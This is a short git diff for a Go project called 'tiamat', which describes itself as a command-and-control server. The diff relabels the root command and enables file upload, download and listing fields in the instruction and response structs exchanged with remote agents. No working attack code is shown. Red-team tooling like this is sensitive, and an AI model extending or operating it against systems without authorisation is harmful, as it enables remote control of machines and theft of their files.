diff --git a/cmd/root.go b/cmd/root.go index 2475b3d..c469774 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -16,20 +16,9 @@ var cfgFile string // rootCmd represents the base command when called without any subcommands var rootCmd = &cobra.Command{ Use: "tiamat", - Short: "A brief description of your application", - Long: `A longer description that spans multiple lines and likely contains -examples and usage of using your application. For example: - -Cobra is a CLI library for Go that empowers applications. -This application is a tool to generate the needed files -to quickly create a Cobra application.`, - // Uncomment the following line if your bare application - // has an action associated with it: - // Run: func(cmd *cobra.Command, args []string) { }, + Short: "Command & Control server written in Go", } -// Execute adds all child commands to the root command and sets flags appropriately. -// This is called by main.main(). It only needs to happen once to the rootCmd. func Execute() { err := rootCmd.Execute() if err != nil { diff --git a/cmd/structs.go b/cmd/structs.go index be11f92..85a818d 100644 --- a/cmd/structs.go +++ b/cmd/structs.go @@ -34,10 +34,10 @@ type Instructions struct { IsKillswitch bool - // IsDownload bool - // IsUpload bool - // FileName string - // FileContents []byte + IsDownload bool + IsUpload bool + FileName string + FileContents []byte IsListFiles bool Path string @@ -49,9 +49,10 @@ type Response struct { Successful bool Message string - // IsUpload bool - // FileName string - // FileContents []byte + IsDownload bool + IsUpload bool + FileName string + FileContents []byte IsListFiles bool FileList